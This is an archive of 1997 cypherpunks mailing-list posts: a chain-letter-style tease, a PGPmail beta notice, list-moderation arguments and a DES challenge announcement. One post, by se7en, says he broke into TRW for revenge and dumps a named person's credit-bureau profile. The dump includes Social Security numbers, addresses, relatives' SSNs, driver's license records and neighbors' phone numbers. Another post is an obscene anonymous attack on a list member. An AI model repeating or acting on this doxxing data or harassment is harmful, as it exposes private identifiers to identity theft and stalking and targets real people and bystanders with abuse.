circles--a document which whispered of fitful glimpses of the
future. The future of Bill Gates; the future of Phil Zimmerman;
the future of the CypherPunks.

  The document has, over the years, submerged for a time, and then
surfaced in different places. Whenever and wherever it surfaces,
strange things happen. Strange things for which there is always
a perfectly 'normal' explaination. Strange things which one sees
as normal unless, by chance, they should happen to notice that
somehow, in some subtle way, the flow of time has changed.

  A few weeks ago, a single copy of this document surfaced in the
possession of one of the Cypherpunks and, shortly thereafter, 
Dr. DV K was officially unSCUMscribed from this list.
  Less than two weeks ago, a copy of this document was acquired
by a second member of the CypherPunks and, shortly thereafter,
it was announced that the list will now be 'moderated'.
  Coincidence? It is a 'coincidence' that I have seen, time and 
again, in connection with this manuscript.

  You may think that this missive is a lark, or some kind of scam,
or for the feeble-minded.  I don't ask that you take what I say
seriously, only that you remember that the Tao doesn't shout,
it whispers.
  I have included, below, a warning that has circulated in regard
to the document which has preceded it in its undergroud passage
since the date of its inception, in 1989.
  Anyone who, after reading the warning, wishes to receive the
document can notify me via private email, and I will see to it
that you receive a copy.

Toto


WARNING! "The Xenix Chainsaw Massacre" Is A Very Dangerous Document
-------------------------------------------------------------------
	
  It is reputed among many of the top minds in the Computer Industry 
to be a very real, and revealing, documentary of some of the horrors 
of the Industry which are sometimes rumored, but seldom exposed.  
But be warned-they say it in private, not in public.
  Though management at the major Corporations in the Industry brush 
aside the document as the mad ramblings of an unstable, failed 
business executive, the fact remains that there are more and more 
people coming forward who claim to have suffered demotions or loss 
of employment after deliberately or inadvertently revealing their 
support of the document's claims and it's authenticity.

  If you choose to read this manuscript, do not speak of it in casual
conversation at your place of employment, or around strangers in 
any business or social environment.  Though it is almost impossible 
to document cases of reprisal of this nature, the increasing numbers 
of ex-employees of major Corporations in the Computer Industry 
making these claims, and the devastating consequences they allege 
to their professional and private lives, make it wise to be discreet 
in expressing any opinion, or even knowledge, of this document.
  If you choose to share this document with others, it would be wise 
to do so discreetly, even anonymously, should you be unsure of the 
reliability and discretion of whomever you choose to share this 
knowledge with.

  Though I personally lean toward viewing the manuscript as authentic, 
my exhaustive research into it's origin has always come to a dead-end, 
even among the principals involved.
  C.J. Parker, former President of Pearl Harbor Computers, Inc., denied
emphatically, in a face-to-face encounter, having anything whatsoever to 
do with the document.  When I pressed him with questions regarding 
the hasty demise of his business and the unraveling of his personal 
life after the public circulation of "The Xenix Chainsaw Massacre" 
began, he became very agitated and distraught, bordering on violence, 
and the interview was abruptly terminated.
  Dr. William M. Denney, one of the few principals in the manuscript 
referred to directly, was reluctant to be interviewed, but eventually 
made a few comments which I found to be very revealing.  Dr. Denney, 
Vice-President of Basis, Inc. in Emmeryville, Ca., consistently rated 
as one of the top ten Unix Open Systems vendors in the world, said, 
"I deny any knowledge of or participation, in any way whatsoever, 
with anything connected to 'The Xenix Chainsaw Massacre', and it 
would be wise for others to do the same."
  I find this statement to be very cryptic and, at the same time, 
very revealing; very much in line with what would expect from one 
associated with the alleged underground computer society described 
in the manuscript.
  As for Mr. Torry Basford, a former employee of Bell Labs who was 
Mr. Parker's first mentor in the world of Unix and is rumored to be 
laboring in obscurity in a small community college somewhere in the 
southwestern U.S., Mr. Parker would only say, "The man has suffered 
enough, please leave him alone."

 Regardless of the origins or authenticity of the document, it is 
considered by many to be extremely unsettling, perhaps even 
dangerous, and one might be better served to avoid reading the 
manuscript, if for no other reason than simple peace of mind.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Sat, 11 Jan 1997 03:00:14 -0800 (PST)
To: coderpunks@toad.com
Subject: PGPmail 4.5 (Win/32) - First Public Beta
Message-ID: <v03100d02aefd0b349a74@[192.187.167.52]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The first beta of the PGPmail 4.5 plugin (Win, 32-bit) is now available for
public experimentation. For further information, and to begin the export
controlled* download process, please point your web browsers at:

  <http://www.pgp.com/products/PGPmail-beta.cgi>

Your feedback on the software is welcome at the address listed on the
webpage. Thank you for your continued support!

   dave
                                 *Not for use outside the USA and Canada.

________________________________________________________________________
Dave Del Torto                                      +1.415.524.6231  tel
Digital Privacy Munitions Analyst                   +1.415.572.1932  fax
Pretty Good Privacy, Inc.                        http://www.pgp.com  web


-----BEGIN PGP SIGNATURE-----
Version: PGPmail 4.5b8

iQCVAwUBMtdsVKHBOF9KrwDlAQG6jAP8CKn8iDlzWTE0nYm7QumDR5wIVtnqCGRo
YO50odzYzuozKzzaTcB46c6ip0WXvc1sA/XC5/fcFHoiG9sQuZQp+UlrWLFWoLSF
cG/VuLjPVbL7Oav2vM/noqDQvhRhkPQbI1l/f/tyvL6KoUovchBeG2NV+gLWzPNn
a/MvF2QxuQM=
=xVx2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 00:25:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199701110825.DAA21072@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by 
the pig shit (or whatever kind of shit Intel 
swines have for brains) getting soft in 
Timothy C[unt] May's mini-cranium and the 
resulting green slime seeping through his 
cocaine- and syphilis- damaged nose and onto 
his keyboard.

     )_(
    [@ @] Timothy C[unt] May
    |/ \|
     \O/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Sat, 11 Jan 1997 03:30:09 -0800 (PST)
To: dc-stuff@dis.org
Subject: Some People Just Never Learn
Message-ID: <Pine.BSI.3.91.970111031545.8640A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



You know, I've been away for several weeks holed up with my new reading 
list busy learning all sorts of new stuff to increase my computer 
knowledge base. I haven't posted for several weeks, haven't said or done 
anything to anyone, yet one asshole just insists on fucking with me. 

He thought he was being tricky enough to think I wouldn't find out who he 
was, but I did. It wasn't too hard. I've tried to have some sympathy on this 
lamer in the past, but I can't anymore. So, in the tradition of what 
se7en is most famous for, that is for pulling outrageous stunts when 
least expected, I thought I would brighten his day up a little bit by 
hacking into TRW and running an extensive profile on him, and then post 
it for the world to see.

So here's to you Gambit...This ought to keep you distracted long enough! Now 
maybe I can go back to my reading list and fade back into obscurity.

XOXOXO!

se7en



ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
º                              Individual Profile                              º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                                KANE R MARLOW                                 º
º                   DOB:            Age:      SSN: 548-27-5143                 º
º        SS#:548-27-5143 Was issued in California between 1973 and 1974        º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                                   Residence                                  º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º Address:   1535 SLATER ST                                                    º
º            SANTA ROSA, CA 95404                    Phone:                    º
º            SONOMA County                          Status:                    º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                           Others at Primary Address                          º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º   MARLENE AGNEW                                                              º
º   JAN BLAKEMAN                 553-96-9520                                   º
º   PHYLLIS C CONWAY             516-72-2032                                   º
º   MITCH DELGADO                                                              º
º   LISA DJONNE                                                                º
   REGINA DUNHAM                                                              
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ1/4



                                                                                
     Request Criteria                                                           
     ----------------                                                           
     SS No :548-27-5143                                                         
                                                                                
     Returned Results                                                           
     ----------------                                                           
     MARLOW, KANE R                                    Year Born : 1973         
     SS#:548-27-5143 Was issued in California between 1973 and 1974             
                                                                                
     AKA                                                                        
     ---                                                                        
     MARLOW, KANE RYAN                                                          
                                                                                
     Known Addresses for Subject                                                
     ---------------------------                                                
     JUN-95/APR-96  -  1535 SLATER ST  SANTA ROSA CA 95404                      
     OCT-94/OCT-94  -  6851 CAROL DR APT 12  SEBASTOPOL CA 95472                
     FEB-94/JUL-94  -  GENERAL DELIVERY  SANTA ROSA CA 95402                    
     JAN-94/JAN-94  -  0 GENERAL DELIVERY  SANTA ROSA CA 95402                  
     APR-93/APR-93  -  118 W ST 135  RENO NV 89501                              
                       2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                
                                                                                
****** No additional telephone listings for:                                    
       1535 SLATER ST  SANTA ROSA CA 95404                                      
                                                                                
Neighbors for: 1535 SLATER ST  SANTA ROSA CA 95404                              
--------------------------------------------------                              
     STIFFLER PAUL & BRENDA            1530 SLATER ST             (707)528-4398 
     TOBIN TOD                         1555 SLATER ST             (707)544-9411 
     HALBUR DAVE                       1560 SLATER ST             (707)544-9967 
     NAVE JANET L                      1560 SLATER ST APT 1       (707)546-3781 
     RUSSELL ROCHELLE K                1604 SLATER ST             (707)544-9638 
     MT TAYLOR CHILDRENS CENTER        1451 SLATER ST             (707)576-0773 
     MULLNER FRANK                     1450 SLATER ST             (707)542-5333 
     SALUDES T                         1625 SLATER ST             (707)576-8179 
     SMITH MARK                        1625 SLATER ST APT 2       (707)579-5860 
     SHECKLER BERT                     1644 SLATER ST             (707)525-0370 
     BANKERT M                         1645 SLATER ST             (707)523-4825 
     PAUL ROBERT L                     1650 SLATER ST             (707)579-0186 
     ORCHARD ROGER                     1661 SLATER ST             (707)544-9941 
     LOPEZ IRENE                       1320 SLATER ST             (707)545-6431 
     WOLD ERIC                         1300 SLATER ST             (707)579-3307 
     MURRAY A                          1135 SLATER ST             (707)528-8218 
     MORALES ALEJANDRO                 1135 SLATER ST             (707)546-5175 
     MARTIN ANTHONY                    1135 SLATER ST             (707)576-7673 
     STRONG MATT                       1132 SLATER ST             (707)575-5694 
     WALSH JAMES J                     1130 SLATER ST             (707)578-3592 
     -------------------------------------------------------------------------- 
                                                                                
Telephone listings for: 6851 CAROL DR APT 12  SEBASTOPOL CA 95472               
-----------------------------------------------------------------               
     BURGESS THERESA                   6851 CAROL DR              (707)823-9226 
     CEJA GONZALO                      6851 CAROL DR              (707)829-5143 
     GARCIA JOSE                       6851 CAROL DR              (707)823-9384 
     WINKELBAUER KELLY                 6851 CAROL DR              (707)829-5964 
     -------------------------------------------------------------------------- 
                                                                                
Neighbors for: 6851 CAROL DR APT 12  SEBASTOPOL CA 95472                        
--------------------------------------------------------                        
     BUSTILLOZ CONNIE                  6850 CAROL DR              (707)823-6388 
     FURR BETTY L                      6755 CAROL DR              (707)823-2168 
     FETHERSTON DAVID & GLORIA         6701 CAROL DR              (707)823-7358 
     -------------------------------------------------------------------------- 
                                                                                
****** No additional telephone listings for:                                    
       GENERAL DELIVERY  SANTA ROSA CA 95402                                    
****** No Neighbors for:                                                        
       GENERAL DELIVERY  SANTA ROSA CA 95402                                    
                                                                                
****** No additional telephone listings for:                                    
       0 GENERAL DELIVERY  SANTA ROSA CA 95402                                  
****** No Neighbors for:                                                        
       0 GENERAL DELIVERY  SANTA ROSA CA 95402                                  
                                                                                
Telephone listings for: 118 W ST 135  RENO NV 89501                             
---------------------------------------------------                             
     BROWN RAY                         118 WEST ST                (702)323-4632 
     DVORAK ANN                        118 WEST ST                (702)348-7807 
     HENDERSON LLOYD                   118 WEST ST                (702)322-4033 
     MCPAUL KAREN G                    118 WEST ST                (702)348-4631 
     NICHOLS TONY                      118 WEST ST                (702)322-0966 
     ROSS MANOR HOTEL APARTMENTS       118 WEST ST                (702)323-3044 
     WONG RAYMOND K F                  118 WEST ST                (702)322-7201 
     -------------------------------------------------------------------------- 
                                                                                
Neighbors for: 118 W ST 135  RENO NV 89501                                      
------------------------------------------                                      
     PLAZA RESORT CLUB                 121 WEST ST                (702)786-2200 
     LAVECCHIA VARESE RESTAURANT       130 WEST ST                (702)322-7486 
     FIVE STAR SALOON                  132 WEST ST                (702)329-2878 
     -------------------------------------------------------------------------- 
                                                                                
****** No additional telephone listings for:                                    
       2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                                
                                                                                
Neighbors for: 2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                        
--------------------------------------------------------                        
     DIFRANCO FENCE CO                 1830 GRAVENSTEIN HIGHWAY   (707)578-3080 
     STAR VIDEO SEBASTOPOL             3195 GRAVENSTEIN HWY       (707)823-3381 
     DISCOUNT ALLEY FAX                1382 GRAVENSTEIN HWY       (707)823-7044 
     DISCOUNT ALLEY                    1382 GRAVENSTEIN HWY       (707)823-1584 
     SEBASTOPOL DESIGN CENTER FLOORIN  1225 GRAVENSTEIN HWY       (707)823-2196 
     FIESTA CLEANERS                   580 GRAVENSTEIN HWY N      (707)823-0260 
     LABLUE CLEANERS                   580 GRAVENSTEIN HWY N      (707)527-5368 
     LABLUES CLEANERS                  580 GRAVENSTEIN HWY N      (707)823-0260 
     FIESTA PHARMACY                   560 GRAVENSTEIN HWY N      (707)823-7636 
     BUONA PASTA                       550 GRAVENSTEIN HWY N      (707)829-0776 
     FIESTA MARKET SEBASTOPOL GROCERY  550 GRAVENSTEIN HWY N      (707)823-9735 
     FIESTA MARKET SEBASTOPOL MEAT     550 GRAVENSTEIN HWY N      (707)823-4916 
     MOHAR INC                         550 GRAVENSTEIN HWY N      (707)823-1418 
     LONG JACK VMD FORESTVILLE VETERI  5033 GRAVENSTEIN HIGHWAY   (707)823-7312 
     -------------------------------------------------------------------------- 
                                                                                
****** NO PILOT LICENSE FOUND ******                                            
****** NO AIRCRAFT FOUND ******                                                 
****** NO DOCUMENTED VESSELS FOUND ******                                       
                                                                                
=============================================================================== 



KANE R MARLOW                                               Year Born: 1973

SS#:548-27-5143 Was issued in California between 1973 and 1974



Known Addresses For Subject
---------------------------
   JUN-95/APR-96 - 1535 SLATER ST  SANTA ROSA CA 95404
   OCT-94/OCT-94 - 6851 CAROL DR 12  SEBASTOPOL CA 95472
                   2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472
                   118 W ST 135  RENO NV 89501
                   GENERAL DELIVERY  SANTA ROSA CA 95402



Possible Property Ownership
---------------------------
   ** No Property Found during Search **



Telephone Listings for Subject Addresses
----------------------------------------
   6851 CAROL DR, SEBASTOPOL CA 95472
   ----------------------------------
      BURGESS THERESA           (707)823-9226
      CEJA GONZALO              (707)829-5143
      GARCIA JOSE               (707)823-9384
      WINKELBAUER KELLY         (707)829-5964


   118 W ST, RENO NV 89501
   -----------------------
      BROWN RAY                 (702)323-4632
      DVORAK ANN                (702)348-7807
      HENDERSON LLOYD           (702)322-4033
      MCPAUL KAREN G            (702)348-4631
      NICHOLS TONY              (702)322-0966
      ROSS MANOR HOTEL APARTMEN (702)323-3044
      WONG RAYMOND K F          (702)322-7201



Relatives (* - denotes address match with Subject)
--------------------------------------------------
   MARLOW, SHARON                                              DOB: 12/43
     Possible AKA: MARLOW, SHARON T          SS#: 546-64-7017
     SS#:546-64-7017 Was issued in California between 1961 and 1962


       NOV-95/NOV-95 - 2301 GRAVENSTEIN HWY S SEBASTOPOL CA 95472-
       NOV-95/NOV-95 - 7017 FELLERS LN SEBASTOPOL CA 95472
       MAR-94/MAR-94 - 2301 S GRAVENSTEIN HWY SEBASTOPOL CA 95472
                       PO BOX 2983 SANTA ROSA CA 95405
                       101 BOAS DR 35 SANTA ROSA CA 95409
                       431 BEAVER ST SANTA ROSA CA 95404
                       *2301 GRAVENSTEIN HWY SEBASTOPOL CA 95472
                       802 BRIGHAM AVE SANTA ROSA CA 95404


   MARLOW, JOHN


                       PO BOX 2983 SANTA ROSA CA 95405
                       101 BOAS DR 35 SANTA ROSA CA 95409



Possible Drivers At Subject's Addresses
---------------------------------------
   1535 SLATER ST  SANTA ROSA CA 95404
   -----------------------------------
     ** No Drivers Found At This Address**


   6851 CAROL DR 12  SEBASTOPOL CA 95472
   -------------------------------------
     ** No Drivers Found At This Address**


   2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472
   -----------------------------------------
     ** No Drivers Found At This Address**


   118 W ST 135  RENO NV 89501
   ---------------------------
     ** No Drivers Found At This Address**


   GENERAL DELIVERY  SANTA ROSA CA 95402
   -------------------------------------
     AARON P BAILEY
        DL# 480063399 issued in IOWA on  7/20/94  expires 12/31/97
        DOB 12/31/70  6'03"  190lb  HAZEL Eyes


     JAMES A CAMPBELL
        DL# 480063952 issued in IOWA on  4/04/95  expires 11/15/97
        DOB 11/15/69  6'01"  190lb  BLUE Eyes


     KRISTINE E BAILEY
        DL# 484844318 issued in IOWA on  4/06/94  expires  4/06/96
        DOB  4/06/74  5'03"  110lb  BLUE Eyes


     HOUSTON C HUNT
        DL# 5506844 issued in OREGON
        DOB 11/10/26  5'11"  160lb


     WALTER R WOOD
        DL# 5683444 issued in OREGON
        DOB  2/21/65  5'11"  214lb


     CHARLES E BERNER
        DL# 8725850 issued in OREGON
        DOB  8/08/63  6'01"  190lb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 10 Jan 1997 19:34:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Robert Moskowitz, Jon Michael Zimmerman, Geoffrey Leon Shapiro
Message-ID: <19970111033243.9265.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Who are these people?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 01:39:04 -0800 (PST)
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D77C39.754D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> Is the goal really to be a "best of cypherpunks," or is it just to cut out the
> most inane trolling (of which there is a lot)? While I'd classify Dale's posts
> as among "worst of cypherpunks," IMO they are all at least *of* cypherpunks.
 
> I just want the complete crap out of the way. I was envisioning a mostly
> unfiltered cypherpunks where the traffic level remained so high that the
> filtered "best of" lists like fcpunx were still in demand.

Rich,
 I totally agree with you.

 I sometimes drop a private email to someone, commenting on how much I
enjoyed one of their posts, or complimenting them on presenting what
they had to say clearly and concisely enough that even a numbskull
such as myself could understand it.  Often, after sending it, I will
realize it is the same guy I lambasted a few days earlier for being
such a shithole-idiot-dweeb in one of his postings.

 Personally, I find it amazing that it seems to be those who are most
enamored of themselves as the serious, cypto-elite of the list who 
are the least cognizant of how silly they appear (to me) in begging
for some mother-hen/higher-authority to make the 'bad kids' sit still
in their seats.
 I find it absolutely astounding, as well, that I am sitting here 
watching the same process take place on this list that everyone
here seems to be so terribly fired-up about when it happens in
the world outside of this list. (Some 'outsider' tweaks the nose of
our ambassador and, suddenly, we are firing on the citizens in order
to defend our flag.)

 Dale, as you point out, didn't 'sneak under the fence' in the middle
of the night. He is a member of this list who has contributed more 
than a few posts that I have saved or printed out (and filed beside
those of some who are already building a scaffold for him in their
minds).
 I am disgusted by some of the behavior and self-righteous missives
of some of the people who lay claim to be of superior stature to 
Dale in this conference, but who act either like children, or like
a pack of rabid dogs in expressing their profound belief that 
they are somehow aligned with the force of 'righteousness' that 
will slay the 'evil' ones on this list.
  (Your days are numbered/You're history, pal/etc.)
 I was particularly dismayed at seeing Ray Archelian, whom I have
developed a certain amount of respect for, stooping to 'jack off'
in Dale's face, so to speak.

  Lastly, I find it totally ludicrous that people who purport to be
beings of 'reason' are babbling on and on about 'votes' of confidence,
etc., on a matter that was determined and announced without asking 
for any kind of approval on their part, and laying out complicated
'systems' and 'future scenarios' for placing all of the missives in
restricted, cypher-politically correct boxes.
  To tell the truth, given all of the 'shifted-reality' postings 
since the 'announcement', if I see a question on the list as to
whether or not a posting is acceptable if it says, "John Gilmore
is a cocksucker." in 'binary'...
   Well, I would be hard pressed to figure out if it was meant as 
humor or as a serious question.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:40:50 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Igor / Hero or Villain?
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <32D77EEE.425A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Does not the moderated list, moderated by YOU, already exist?
> I am confused.

> It is indeed suspicious because it raises a possibility of
> concealed human involvement.

> That's a non-answer.

Igor,
 Some days I print your postings and file them away for future 
reference. Other days, I want to cyber-shoot your sorry ass.
 Either way, I regard you as a valuable member of CypherPunks
for the reason that you're not about to lay down on the tracks
and let the train run over you, just because of a 'purported'
goal of protecting you from the 'bad' people.
 History has taught us that when the witch-hunt starts, everyone
with a broom is suspect.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:38:53 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Secret Agenda?
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D78420.56D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:

AM,
 The points you raise below are valid ones, as opposed to some of the
perceived 'parting shots' by those 'voting' for moderation in 
anticipation of the Iron Boot descending (on 'others', of course).
 I find it interesting that you keep refering to 'not understanding'
some of the purported reasons behind the proposed system. I am
finding myself getting the feeling that there is some underlying
future purpose or direction behind the 'changes' that is not being
fully revealed.
 Perhaps my sense of smell is declining in my old-age, but I'm getting
an odor that doesn't match with the dinner menu that has been 
announced.

Toto
> 10-30 minutes is potentially far less than it would take.  What about
> mail that arrives in the middle of the night, or what if all the
> moderators are away or busy.

> If you add delay before secondary moderators can even
> get the stuff, you are unfairly penalizing those who use a better or
> more efficient filtering scheme

> Fine for those who want the moderation, but why are you forcing
> everyone to use this scheme?
> 
> There are plenty of moderation schemes that are way more cypherpunk
> than one central moderation authority.
>  But why not let those of us who write code experiment with other 
ways of moderating the list?  Please.
> 
> What does it cost anyone to have a separate mailing list which
> immediately gets all cypherpunks submissions?  The only argument
> against this is "load", but that doesn't make sense.
> 
> More importantly, if some significant number of people really do want
> to subscribe to cypherpunks-raw (as in enough that you would even
> start to think about load), then maybe centralized moderation is not
> the way to go.
> 
> What is the advantage of not having a cypherpunks-raw?  I just don't
> understand it.  It costs you nothing, it shows your willingness to
> compete with other moderators or moderation schemes, and it will make
> people a lot more confident that you aren't suppressing some messages
> from cypherpunks-flames list.
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:39:05 -0800 (PST)
To: Clint Barnett <cbarnett@eciad.bc.ca>
Subject: Re: nice work
In-Reply-To: <Pine.SGI.3.91.970110193238.26380P-100000@oswald>
Message-ID: <32D78860.12B3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Clint Barnett wrote:
> 
> no doubt everybody on the list recieved a spam about some personalised
> children's books. Having been away or a few weeks, I only just today got
> to replying to that message. I recieved a response indicating that my
> response was undeliverable due to the mailbox being full. I just wanted
> to say that I'm glad I'm not the only one who can't stand that crap. Nice
> work.

  Damn straight!
  The Reply button can be a dangerous instrument in the right hands.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 10 Jan 1997 22:07:46 -0800 (PST)
To: Ray Arachelian <sandfort@crl.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <19970111060735.2441.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> >    then making the "full" list available later) is suspicious, or at
> >    least a bad idea.
> 
> What difference does it make if a message is delayed for 10-30 minutes?  
> Why is it a bad idea or suspicious?  If you post something and it doesn't 
> make it at all, you can complain about it.  Is that what you fear?

10-30 minutes is potentially far less than it would take.  What about
mail that arrives in the middle of the night, or what if all the
moderators are away or busy.

If you really want to filter cypherpunks@toad.com by default, fine.
But is it too much to ask for those of us who don't want the filtering
to request an unmoderated, undelayed list, with all headers intact
(someone had suggested Approved headers be removed)?

Remember, other people may want to run differently moderated versions
of the list.  If you add delay before secondary moderators can even
get the stuff, you are unfairly penalizing those who use a better or
more efficient filtering scheme, because those people will have to
wait for the central authorities' moderation decisions before even
their own moderators or auto-moderators get ahold of messages.

> The point was to optimize the sendmail to send moderated messages first.

Fine for those who want the moderation, but why are you forcing
everyone to use this scheme?

There are plenty of moderation schemes that are way more cypherpunk
than one central moderation authority.  NoCeM is one great example.
Obviously some people don't have the right software to experiment with
this--fine they can subscribe to a centrally moderated list.  But why
not let those of us who write code experiment with other ways of
moderating the list?  Please.

What does it cost anyone to have a separate mailing list which
immediately gets all cypherpunks submissions?  The only argument
against this is "load", but that doesn't make sense.  First of all, if
someone subscribes to cypherpunks-raw instead of cypherpunks and
cypherpunks-flames, the total number of messages is the same, and the
amount of bandwith you might lose to split mult-RCPT messages is
negligiable (and could easily be recouped by switching mailers, though
that shouldn't even be necessary).

More importantly, if some significant number of people really do want
to subscribe to cypherpunks-raw (as in enough that you would even
start to think about load), then maybe centralized moderation is not
the way to go.

What is the advantage of not having a cypherpunks-raw?  I just don't
understand it.  It costs you nothing, it shows your willingness to
compete with other moderators or moderation schemes, and it will make
people a lot more confident that you aren't suppressing some messages
from cypherpunks-flames list.

If for some reason load really is the problem (though I can't see
how), then can you set some maximum number of subscribers you would be
willing to mail cypherpunks-raw to?  I mean 50 people shouldn't be
that big a deal, right?  And if more than 50 want to subscribe and you
think toad can't handle the load, I will run a mail exploder on a
different machine.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 11 Jan 1997 04:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES Crack Challenge
Message-ID: <Chameleon.852985398.amp@tx86-8>
MIME-Version: 1.0
Content-Type: text/plain


It appears that RSA has posted the rules and some test cyper/plaintext for the DES 
(and other) crack challenges. 

see http://www.rsa.com/rsalabs/97challenge/ 
for more information.

I've got a few workstations ready to throw at this. It ought to be fun.


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 01/11/97
Time: 06:20:17
Visit http://www.public-action.com/SkyWriter/WacoMuseum

'Drug Trafficking Offense' is the root passphrase to the Constitution.
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <aceD1D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:

> At 07:14 PM 1/10/97 -0500, Ray Arachelian wrote:
> >Sandfort isn't the only one who will do this, there will be a pool of
> >moderators. Regardless of your personality conflict, I am sure that Sandy
> >will remain fair and allow appropriate posts from you through. i.e.
> >anything to do with crypto. :)
>
> Just for the record, I have volunteered to serve as a co-moderator. ...

As a moderator, Plucky would certainly approve his own articles.
In fact, anything he submits would be approved automatically.
In this one he goes on to write:

> As with every TAZ that stays up for too long, Cypherpunks eventually got
> infested by vermin. Vulis, aga, et al. come to mind. In my experience, once
> that happens there is only one solution: take down the TAZ and start over
> somewhere else. ...

If I were to say, "I am not vermin", my response would be rejected by the
moderator(s) as being off-topic.

> [Since I filter on Vulis and aga in the body text of all incoming email, I
> am unlikely to read any replies to this post. ...

Therefore, Plucky Green (who by the way posts on news.admin.net-abuse.* and
various Macintosh newsgroups under his real name) is already not bothered
by my response. He just doesn't want others to see it.

